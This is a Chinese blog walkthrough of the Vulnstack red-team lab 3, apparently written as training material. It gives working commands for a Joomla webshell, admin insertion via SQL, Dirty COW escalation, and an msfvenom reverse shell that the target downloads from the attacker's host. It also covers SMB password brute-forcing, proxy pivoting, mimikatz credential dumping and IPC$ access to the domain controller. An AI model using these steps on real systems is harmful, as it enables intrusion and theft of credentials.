ATT&CT实战系列-红队实战(三)

本文围绕渗透测试展开,先介绍环境搭建,包括靶机、攻击机等网络配置。接着进行漏洞利用,如通过扫描网站、修改模板getshell、利用敏感文件泄露获取信息。最后开展内网渗透,涉及脏牛提权、msf上线、存活主机探测、信息搜集、获取账号密码及ipc远程连接等操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、环境搭建

靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

本次环境为黑盒测试,不提供虚拟机账号密码,

本次模拟实战攻击目标是域控的一份重要的文件

centos 出网机,有两张网卡,一张为桥接模式网卡 ip 为 22.117.22.60,另外一张是内部网卡仅主机模式IP地址为192.168.93.100。

Ubuntu为nginx代理服务器(需要启动,centos的web服务才可以正常提供服务,否则会报502错误)

win2008为内部主机IP地址192.168.93.20

win2012为内部域控服务器IP地址192.168.93.10

kali攻击机IP地址为:22.117.72.78

所有主机解压后都是挂起状态,因centos的部分服务不会自动启动,建议不关机修改桥接网卡的模式

 

配好网络环境

重启网络服务 service network  restart

注意VMnet2网卡的dhcp分配号192.168.93.0,桥接模式的网卡网段可以随机,不影响访问。

 

二、漏洞利用(以下仅供学习交流使用,请勿非法使用,后果自负)

前期信息收集

kali上进行arp扫描发现目标主机IP地址:22.117.72.60

arp-scan-l

nmap -A -p- 22.117.72.60 (发现开放的端口80和3306)

2.1修改模板getshell

出网机的 80 端口是一个 joomla! 搭建的网站

对网站进行扫描,可以下载joomscan扫描器进行,扫描 发现版本为 3.9.12,

后台登录目录 http://22.117.72.60/administrator/

敏感文件泄露目录 http://22.117.72.60/configuration.php~   得到一个MySQL账户testuser/cvcvgjASD!@

git clone https://github.com/OWASP/joomscan  //下载joomscan

kali

joomscan -u http://22.117.72.60/

或

perl joomscan.pl -u 22.117.72.60

根据nmap 扫描一下发现 3306 端口开放,使用获得的MySQL账户testuser/cvcvgjASD!@账户密码远程登录数据库。

因为 joomla 可以在后台模板 getshell,所以尝试查找管理员的账号密码登录后台,但是数据表中存储的管理员密码是加密的,需要换一种思路。

根据 joomla 官方文档 https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn 

执行 sql 语句在数据库中添加 新的超级管理员,注意 sql 语句修改为目标数据表的前缀。

新建查询-执行以下语句,创建新的超级管理员admin3/secret

INSERT INTO `am2zu_users`

   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)

VALUES ('Administrator2', 'admin3',

'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());

INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)

VALUES (LAST_INSERT_ID(),'8');

使用账号:admin3,密码:secret,登录后台:http://22.117.72.60/administrator

访问extensions-templates-templates-beez3

new file-新建文件shell.php

编辑shell.php复制冰蝎3.0 beta6的php一句话木马脚本

链接:http://22.117.72.60/templates/beez3/shell.php

用冰蝎上传  bypass_diablefunc.php 和 bypass_diablefunc_x64.so 上传到目标的/templates/beez3/(同一目录),

注意 .so 文件需要根据目标系统架构选择,然后访问 bypass_diablefunc.php,cmd 是执行的命令,outpath是读写权限的目录,sopath是 .so 文件的绝对路径。

工具下载地址:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

payload如下:

http://22.117.72.60/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so
http://22.117.72.60/templates/beez3/bypass_disablefunc.php

?cmd=whoami

&outpath=/tmp/baji

&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so

 

 

​利用冰蝎文件管理功能。上传bypass_diablefunc.php 和 bypass_diablefunc_x64.so文件至/var/www/html/templates/beez3

 

2.3敏感文件泄露

由于 ubuntu 内核比较新,暂时不考虑提权。翻找文件发现 test.txt 给出了一个用户的账号密码。

账号:wwwuser

密码:wwwuser_123Aqx

可以成功登录centos的web服务器,上传脏牛提权

 

 

三、内网渗透

3.1脏牛提权

拿到出网机后想继续横向移动,一般是在跳板机搭建 socks 代理,所以需要将 centos 提权,查看centos内核版本刚好在脏牛提权的范围内。

使用冰蝎将 dirty.c 上传到 centos,

gcc -pthread dirty.c -o dirty -lcrypt 

命令编译生成 dirty 可执行文件,

执行 ./dirty password 提权,生成passwd.ask文件得到高权账号和密码;

得到高权用户,上传木马文件,执行木马文件得到shell。

gcc -pthread dirty.c -o dirty -lcrypt   //编译生成 dirty 可执行文件

./dirty baji

exp 下载地址:https://github.com/FireFart/dirtycow

 

3.2msf上线

kali攻击机生成 shell.elf,设置监听,将 elf 文件上传至 centos,执行后攻击机成功获得一个 meterpreter。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -f elf > shell.elf

 

在kali该路径下,搭建web服务

root@kali:  python -m SimpleHTTPServer 81

kali上开启监听端口

use exploit/multi/hander

set payload linux/x86/meterpreter/reverse_tcp

set lhost 22.117.72.78

set lport 4444

exploit

在centos上,下载木马文件,并授权执行木马

wget http://22.117.72.78:81/shell.elf

chmod +x shell.elf

./shell.elf

3.3存活主机探测

因为 bypass disable_functions 后得到 ubuntu ip 为 192.168.93.120,所以添加路由,meterpreter 放在后台,进行存活主机探测。

run autoroute -s 192.168.93.0/24



background



use auxiliary/scanner/smb/smb_version

set rhosts 192.168.93.0/24

exploit

得到了三台加入TEST域的 windows 主机

* 192.168.93.10 windows 2012

* 192.168.93.20 windows 2008

* 192.168.93.30 windows 7

 

尝试爆破windows2008的本地管理员

use auxiliary/scanner/smb/smb_login

set rhosts 192.168.93.20

set SMBUser administrator

set PASS_FILE /usr/share/wordlists/top1000.txt

run



爆出密码:123qwe!ASD

3.4内网信息搜集

在爆破密码成功的基础上,使用 msf 开个 socks4 正向代理,配合 proxychains。

use auxiliary/server/socks4a

set srvport 9050

exploit

kali上修改/etc/proxychains.conf

socks4     127.0.0.1 9050

 

wmi 出现在所有的 windows 操作系统中,由一组强大的工具集合组成,用于管理本地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。

wmiexec 执行命令,搜集信息,参考:wmiexec.py 下载地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

使用参考:https://www.freebuf.com/articles/network/246440.html

git clone https://github.com/CoreSecurity/impacket.git

cd impacket/

pip install .  (pip install . 两个空格)(若pip安装出错,尝试apt install gcc-9-base ,重新下载apt-get install python-pip)

安装成功,进入到example目录下,执行wmi工具,获取win2008的shell。

proxychains python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

ipconfig /all 知道 dns 服务器即域控是 192.168.93.10。

那么基本的内网拓扑也清楚了,一台 centos 反向代理了一个 web,centos 有两个网卡,web 服务后端在 ubuntu 上,三台 windows 组成域环境,ip 分别是 192.168.93.10,192.168.93.20,192.168.93.30,

域控为 windows server 2012,ip 为 192.168.93.10。

(反向代理服务器位于用户与目标服务器之间,但是对于用户而言,反向代理服务器就相当于目标服务器,即用户直接访问反向代理服务器就可以获得目标服务器的资源。

反向代理的工作原理是,代理服务器来接受客户端的网络访问连接请求,然后服务器将请求有策略的转发给网络中实际工作的业务服务器,并将从业务服务器处理的结果,返回给网络上发起连接请求的客户端。

更多解释 https://www.zhihu.com/question/36412304

反向代理优点:

* 提高了内部服务器的安全

* 加快了对内部服务器的访问速度

* 节约了有限的IP资源

 

tasklist /V 查看进程(显示对应用户),发现TEST域进程,可以尝试抓密码。

 

3.5mimikatz获取账号密码

kali 使用 smbclient 通过代理连接 windows server 2008 上传 mimikatz。下载地址:https://github.com/gentilkiwi/mimikatz/releases

proxychains smbclient //192.168.93.20/C$ -U administrator

put mimikatz.exe

 

 

 

 

 

 

 

 

 

wmiexec 远程执行 mimikatz 成功得到域管理员密码。

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

获得test域管理密码:zxcASDqwe123!!

 

 

 

3.6ipc远程连接

IPC$(Internet Process Connection)是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

利用IPC$连接者可以与目标主机建立一个连接,得到目标主机上的目录结构、用户列表等信息。

利用条件:

  1. 管理员开启了默认共享

  2. 139或445端口开放

 

net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator   #系统默认路径c:\windows\下



dir \\192.168.93.10\C$\users\administrator\Documents



type \\192.168.93.10\C$\users\administrator\Documents\flag.txt

 

ipc 远程连接读 flag.txt。

 

 

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值